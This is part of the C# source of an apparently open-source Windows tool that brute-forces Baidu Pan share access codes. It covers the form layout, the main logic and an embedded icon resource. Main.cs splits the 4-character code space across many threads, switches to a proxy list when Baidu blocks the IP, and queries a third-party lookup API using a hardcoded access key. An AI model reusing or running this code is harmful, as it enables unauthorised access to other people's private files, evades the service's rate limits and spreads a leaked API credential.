/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
this.txt_url = new System.Windows.Forms.Label();
this.text_url = new System.Windows.Forms.TextBox();
this.gb_1 = new System.Windows.Forms.GroupBox();
this.text_zxsd = new System.Windows.Forms.TextBox();
this.text_xczs = new System.Windows.Forms.TextBox();
this.text_jsd = new System.Windows.Forms.TextBox();
this.text_ksd = new System.Windows.Forms.TextBox();
this.txt_zxsd = new System.Windows.Forms.Label();
this.txt_xczs = new System.Windows.Forms.Label();
this.txt_jsd = new System.Windows.Forms.Label();
this.txt_ksd = new System.Windows.Forms.Label();
this.txt_ts = new System.Windows.Forms.Label();
this.btn_start = new System.Windows.Forms.Button();
this.fBD = new System.Windows.Forms.FolderBrowserDialog();
this.btn_status = new System.Windows.Forms.Button();
this.btn_net = new System.Windows.Forms.Button();
this.cB_ktwo = new System.Windows.Forms.CheckBox();
this.cB_mxwxz = new System.Windows.Forms.CheckBox();
this.CB_zgcwkj = new System.Windows.Forms.CheckBox();
this.cB_ypsuperkey = new System.Windows.Forms.CheckBox();
this.gb_1.SuspendLayout();
this.SuspendLayout();
//
// txt_url
//
this.txt_url.AutoSize = true;
this.txt_url.Location = new System.Drawing.Point(12, 14);
this.txt_url.Name = "txt_url";
this.txt_url.Size = new System.Drawing.Size(65, 12);
this.txt_url.TabIndex = 0;
this.txt_url.Text = "目标地址:";
//
// text_url
//
this.text_url.Location = new System.Drawing.Point(83, 10);
this.text_url.Name = "text_url";
this.text_url.Size = new System.Drawing.Size(389, 21);
this.text_url.TabIndex = 1;
//
// gb_1
//
this.gb_1.Controls.Add(this.text_zxsd);
this.gb_1.Controls.Add(this.text_xczs);
this.gb_1.Controls.Add(this.text_jsd);
this.gb_1.Controls.Add(this.text_ksd);
this.gb_1.Controls.Add(this.txt_zxsd);
this.gb_1.Controls.Add(this.txt_xczs);
this.gb_1.Controls.Add(this.txt_jsd);
this.gb_1.Controls.Add(this.txt_ksd);
this.gb_1.Location = new System.Drawing.Point(12, 37);
this.gb_1.Name = "gb_1";
this.gb_1.Size = new System.Drawing.Size(460, 73);
this.gb_1.TabIndex = 2;
this.gb_1.TabStop = false;
this.gb_1.Text = "相关配置";
//
// text_zxsd
//
this.text_zxsd.Location = new System.Drawing.Point(321, 17);
this.text_zxsd.MaxLength = 4;
this.text_zxsd.Name = "text_zxsd";
this.text_zxsd.Size = new System.Drawing.Size(131, 21);
this.text_zxsd.TabIndex = 5;
this.text_zxsd.Text = "200";
this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_xczs
//
this.text_xczs.Location = new System.Drawing.Point(93, 17);
this.text_xczs.MaxLength = 4;
this.text_xczs.Name = "text_xczs";
this.text_xczs.Size = new System.Drawing.Size(131, 21);
this.text_xczs.TabIndex = 4;
this.text_xczs.Text = "100";
this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_jsd
//
this.text_jsd.Location = new System.Drawing.Point(321, 43);
this.text_jsd.MaxLength = 4;
this.text_jsd.Name = "text_jsd";
this.text_jsd.Size = new System.Drawing.Size(131, 21);
this.text_jsd.TabIndex = 7;
this.text_jsd.Text = "zzzz";
//
// text_ksd
//
this.text_ksd.Location = new System.Drawing.Point(93, 43);
this.text_ksd.MaxLength = 4;
this.text_ksd.Name = "text_ksd";
this.text_ksd.Size = new System.Drawing.Size(131, 21);
this.text_ksd.TabIndex = 6;
this.text_ksd.Text = "0000";
//
// txt_zxsd
//
this.txt_zxsd.AutoSize = true;
this.txt_zxsd.Location = new System.Drawing.Point(232, 20);
this.txt_zxsd.Name = "txt_zxsd";
this.txt_zxsd.Size = new System.Drawing.Size(89, 12);
this.txt_zxsd.TabIndex = 1;
this.txt_zxsd.Text = "线程执行速度:";
//
// txt_xczs
//
this.txt_xczs.AutoSize = true;
this.txt_xczs.Location = new System.Drawing.Point(10, 20);
this.txt_xczs.Name = "txt_xczs";
this.txt_xczs.Size = new System.Drawing.Size(65, 12);
this.txt_xczs.TabIndex = 0;
this.txt_xczs.Text = "线程总数:";
//
// txt_jsd
//
this.txt_jsd.AutoSize = true;
this.txt_jsd.Location = new System.Drawing.Point(232, 46);
this.txt_jsd.Name = "txt_jsd";
this.txt_jsd.Size = new System.Drawing.Size(77, 12);
this.txt_jsd.TabIndex = 3;
this.txt_jsd.Text = "密码结束点:";
//
// txt_ksd
//
this.txt_ksd.AutoSize = true;
this.txt_ksd.Location = new System.Drawing.Point(10, 46);
this.txt_ksd.Name = "txt_ksd";
this.txt_ksd.Size = new System.Drawing.Size(77, 12);
this.txt_ksd.TabIndex = 2;
this.txt_ksd.Text = "密码开始点:";
//
// txt_ts
//
this.txt_ts.ForeColor = System.Drawing.Color.Red;
this.txt_ts.Location = new System.Drawing.Point(12, 163);
this.txt_ts.Name = "txt_ts";
this.txt_ts.Size = new System.Drawing.Size(460, 45);
this.txt_ts.TabIndex = 8;
this.txt_ts.Text = "程序:百度网盘分享文件密码分析器 V 1.8.0.6\r\n\r\n开源地址:https://github.com/zgcwkj/TestBaiduPasswor" +
"d";
this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);
//
// btn_start
//
this.btn_start.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_start.Location = new System.Drawing.Point(12, 113);
this.btn_start.Name = "btn_start";
this.btn_start.Size = new System.Drawing.Size(234, 44);
this.btn_start.TabIndex = 3;
this.btn_start.Text = "打开/生成 解决方案";
this.btn_start.UseVisualStyleBackColor = true;
this.btn_start.Click += new System.EventHandler(this.btn_start_Click);
//
// btn_status
//
this.btn_status.Enabled = false;
this.btn_status.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_status.Location = new System.Drawing.Point(252, 113);
this.btn_status.Name = "btn_status";
this.btn_status.Size = new System.Drawing.Size(94, 44);
this.btn_status.TabIndex = 4;
this.btn_status.Text = "启动";
this.btn_status.UseVisualStyleBackColor = true;
this.btn_status.Click += new System.EventHandler(this.btn_status_Click);
//
// btn_net
//
this.btn_net.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));
this.btn_net.Location = new System.Drawing.Point(364, 113);
this.btn_net.Name = "btn_net";
this.btn_net.Size = new System.Drawing.Size(108, 44);
this.btn_net.TabIndex = 5;
this.btn_net.Text = "联网查密";
this.btn_net.UseVisualStyleBackColor = true;
this.btn_net.Click += new System.EventHandler(this.btn_net_Click);
//
// cB_ktwo
//
this.cB_ktwo.AutoSize = true;
this.cB_ktwo.Location = new System.Drawing.Point(263, 216);
this.cB_ktwo.Name = "cB_ktwo";
this.cB_ktwo.Size = new System.Drawing.Size(192, 16);
this.cB_ktwo.TabIndex = 10;
this.cB_ktwo.Text = "使用 kTWO 提供的自动代理服务";
this.cB_ktwo.UseVisualStyleBackColor = true;
this.cB_ktwo.CheckedChanged += new System.EventHandler(this.cB_ktwo_CheckedChanged);
//
// cB_mxwxz
//
this.cB_mxwxz.AutoSize = true;
this.cB_mxwxz.Checked = true;
this.cB_mxwxz.CheckState = System.Windows.Forms.CheckState.Checked;
this.cB_mxwxz.Location = new System.Drawing.Point(10, 216);
this.cB_mxwxz.Name = "cB_mxwxz";
this.cB_mxwxz.Size = new System.Drawing.Size(240, 16);
this.cB_mxwxz.TabIndex = 10;
this.cB_mxwxz.Text = "使用 MXWXZ 的数据提交和哈希排序 方案";
this.cB_mxwxz.UseVisualStyleBackColor = true;
//
// CB_zgcwkj
//
this.CB_zgcwkj.AutoSize = true;
this.CB_zgcwkj.Checked = true;
this.CB_zgcwkj.CheckState = System.Windows.Forms.CheckState.Checked;
this.CB_zgcwkj.Enabled = false;
this.CB_zgcwkj.Location = new System.Drawing.Point(10, 243);
this.CB_zgcwkj.Name = "CB_zgcwkj";
this.CB_zgcwkj.Size = new System.Drawing.Size(210, 16);
this.CB_zgcwkj.TabIndex = 11;
this.CB_zgcwkj.Text = "使用 zgcwkj 提供的多线程等 方案";
this.CB_zgcwkj.UseVisualStyleBackColor = true;
//
// cB_ypsuperkey
//
this.cB_ypsuperkey.AutoSize = true;
this.cB_ypsuperkey.Checked = true;
this.cB_ypsuperkey.CheckState = System.Windows.Forms.CheckState.Checked;
this.cB_ypsuperkey.Location = new System.Drawing.Point(263, 243);
this.cB_ypsuperkey.Name = "cB_ypsuperkey";
this.cB_ypsuperkey.Size = new System.Drawing.Size(216, 16);
this.cB_ypsuperkey.TabIndex = 12;
this.cB_ypsuperkey.Text = "使用 云盘万能钥匙 提供放接口服务";
this.cB_ypsuperkey.UseVisualStyleBackColor = true;
//
// Main
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 241);
this.Controls.Add(this.cB_ypsuperkey);
this.Controls.Add(this.CB_zgcwkj);
this.Controls.Add(this.cB_mxwxz);
this.Controls.Add(this.cB_ktwo);
this.Controls.Add(this.btn_net);
this.Controls.Add(this.btn_status);
this.Controls.Add(this.txt_ts);
this.Controls.Add(this.gb_1);
this.Controls.Add(this.text_url);
this.Controls.Add(this.txt_url);
this.Controls.Add(this.btn_start);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(500, 300);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(500, 280);
this.Name = "Main";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "百度网盘分享文件密码分析器";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Main_FormClosed);
this.gb_1.ResumeLayout(false);
this.gb_1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_url;
private System.Windows.Forms.TextBox text_url;
private System.Windows.Forms.GroupBox gb_1;
private System.Windows.Forms.Label txt_ksd;
private System.Windows.Forms.Label txt_jsd;
private System.Windows.Forms.TextBox text_jsd;
private System.Windows.Forms.TextBox text_ksd;
private System.Windows.Forms.TextBox text_zxsd;
private System.Windows.Forms.TextBox text_xczs;
private System.Windows.Forms.Label txt_zxsd;
private System.Windows.Forms.Label txt_xczs;
private System.Windows.Forms.Label txt_ts;
private System.Windows.Forms.Button btn_start;
private System.Windows.Forms.FolderBrowserDialog fBD;
private System.Windows.Forms.Button btn_status;
private System.Windows.Forms.Button btn_net;
private System.Windows.Forms.CheckBox cB_ktwo;
private System.Windows.Forms.CheckBox cB_mxwxz;
private System.Windows.Forms.CheckBox CB_zgcwkj;
private System.Windows.Forms.CheckBox cB_ypsuperkey;
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Main.cs
================================================
using System;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Main : Form
{
public Main()
{
InitializeComponent();
}
///
/// 解决方案
///
private void btn_start_Click(object sender, EventArgs e)
{
if (fBD.ShowDialog() == DialogResult.OK)
{
#region 防止选择非空文件夹或者不是项目的文件
//把选择的路径赋值给静态变量
StaticClass.file = fBD.SelectedPath;
//把配置文件的路径赋值给静态变量
StaticClass.config = fBD.SelectedPath + "\\Configuration.ini";
//把代理文件的路径赋值给静态变量
StaticClass.proxy = fBD.SelectedPath + "\\proxy.ini";
//获取路径下所有文件
string[] files = Directory.GetFiles(StaticClass.file);
//拒绝选择有文件的文件夹
if (files.Length > 0)
{
if (File.Exists(StaticClass.config))
{
string[] str = File.ReadAllText(StaticClass.config).Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
else
{
MessageBox.Show("请务必选择空的文件夹");
return;
}
}
#endregion 防止选择非空文件夹或者不是项目的文件
#region 防止空文本也执行
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
if (text_xczs.Text == "") { MessageBox.Show("线程总数错误"); return; }
if (text_zxsd.Text == "") { MessageBox.Show("线程执行速度错误"); return; }
if (text_ksd.Text.Length != 4) { MessageBox.Show("密码开始点错误"); return; }
if (text_jsd.Text.Length != 4) { MessageBox.Show("密码结束点错误"); return; }
#endregion 防止空文本也执行
#region 生成配置文件
if (!File.Exists(StaticClass.config))
{
string Configuration;
try
{
Configuration = File.ReadAllText(StaticClass.config);
string[] str = Configuration.Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
catch
{
Configuration = text_url.Text + "∆" + text_xczs.Text + "∆" + text_zxsd.Text;
File.Delete(StaticClass.config);
File.AppendAllText(StaticClass.config, Configuration);
}
}
#endregion 生成配置文件
//打开启动按钮
btn_status.Enabled = true;
}
}
///
/// 启动或停止
///
private void btn_status_Click(object sender, EventArgs e)
{
if (!cB_mxwxz.Checked) { MessageBox.Show("请使用 MXWXZ 提供的方案"); return; }
if (btn_status.Text == "停止")
{
btn_status.Text = "启动";
btn_status.Enabled = false;
StaticClass.status = true;
}
else
{
//把分享地址赋值给静态变量
StaticClass.url = text_url.Text;
//设置线程默认状态给静态变量
StaticClass.status = false;
#region 基本的线程
int xczs = Convert.ToInt32(text_xczs.Text);//线程总数
int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度
int start = Hash.StrTo4Hash(text_ksd.Text);//起始值
int end = Hash.StrTo4Hash(text_jsd.Text);//结束值
int total = end - start + 1;//尝试的总数
int section = total / xczs;//线程的次数
#endregion 基本的线程
#region 预防(防止)线程的总数大于尝试的总数
if (xczs > total)
{
MessageBox.Show("小伙子又想让程序出BUG吗?");
MessageBox.Show("检测到线程的总数大于尝试的总数");
return;
}
#endregion 预防(防止)线程的总数大于尝试的总数
#region 标识程序已经启动
btn_status.Text = "停止";
#endregion 标识程序已经启动
#region 创建线程
for (int i = 1; i <= xczs; i++)
{
int _start = start + section * (i - 1);//一条线程的开始值
int _end = start + section * i;//一条线程的结束值
new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();
}
#endregion 创建线程
}
}
///
/// 联网查密(用到互联网搜索功能)
///
private void btn_net_Click(object sender, EventArgs e)
{
if (!cB_ypsuperkey.Checked) { MessageBox.Show("请使用 云盘万能钥匙 提供的方案"); return; }
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
MessageBox.Show("本服务由 云盘万能钥匙(www.ypsuperkey.com)提供,本人仅是使用提供的接口");
string info = text_url.Text.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
string url = "https://www.ypsuperkey.com/api/items/BDY-" + info + "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg";
string data = StaticClass.HttpGet(url);//请求并获得返回数据
data = "密码为" + Regex.Match(data, "\"access_code\":\".+?\"").Value.ToString().Replace("\"", "").Replace("access_code:", "");
if (data == "密码为") data = "还是老老实实暴密码吧";
MessageBox.Show(data, "提示");
}
#region 委托进行显示数据
private delegate void Modifystr(string str1, string str2);
public void ModifyStr(string str1, string str2)
{
if (InvokeRequired)
{
Modifystr stcb = new Modifystr(ModifyStr);
Invoke(stcb, new object[] { str1, str2 });
}
else
{
txt_ts.Text = str1 + "》正在尝试:" + str2;//显示点啥
File.AppendAllText(StaticClass.file + "/logs.ini", txt_ts.Text + "\r\n");//输出日志
if (str1.Contains("\"errno\":0"))//密码正常
{
StaticClass.status = true;
btn_status.Text = "启动";
MessageBox.Show("密码是:" + str2);
}
else if (str1.Contains("\"errno\":-9"))//密码错误
{
}
else if (str1.Contains("\"errno\":-62"))//要输入验证码
{
}
else//拒绝访问、未知错误
{
if (!StaticClass.status)
{
StaticClass.status = true;
btn_status.Text = "启动";
if (cB_ktwo.Checked)
{
#region 利用代理服务重新跑
try
{
HttpProxy httpProxy = new HttpProxy();
if (httpProxy.startUp())
{
btn_status.PerformClick();
}
else
{
MessageBox.Show("代理服务无法启动,请检查解决方案下是否放置 proxy.ini 文件");
}
}
catch { }
#endregion 利用代理服务重新跑
}
else
{
MessageBox.Show("你的IP被拒绝访问,请稍后重试");
}
}
}
}
}
#endregion 委托进行显示数据
#region 浏览器预览网页
///
/// 跳转到开源页
///
private void txt_ts_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword"); } catch { }
}
#endregion 浏览器预览网页
#region 检验常规数据
///
/// 限制输入
///
private void _KeyPress(object sender, KeyPressEventArgs e)
{
if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
}
///
/// 验证代理IP的文件是否正常
///
private void cB_ktwo_CheckedChanged(object sender, EventArgs e)
{
if (cB_ktwo.Checked)
{
if (StaticClass.proxy == null)
{
MessageBox.Show("请先 选择解决方案");
cB_ktwo.Checked = false;
return;
}
if (!File.Exists(StaticClass.proxy))
{
MessageBox.Show("很抱歉,我们检测到" + StaticClass.proxy + "文件不存在,请你手动添加");
cB_ktwo.Checked = false;
return;
}
if (File.ReadAllText(StaticClass.proxy) != "" || File.ReadAllText(StaticClass.proxy) != "\r\n")
{
MessageBox.Show("很抱歉,我们检测到" + StaticClass.proxy + "文件的内容为空");
MessageBox.Show("文件内容格式为 IP:端号 回车,以此类推");
cB_ktwo.Checked = false;
return;
}
}
}
#endregion 检验常规数据
#region 退出程序
private void Main_FormClosed(object sender, FormClosedEventArgs e)
{
StaticClass.status = false;
new HttpProxy().SwitchOff();
}
#endregion 退出程序
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Main.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
17, 17
33
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
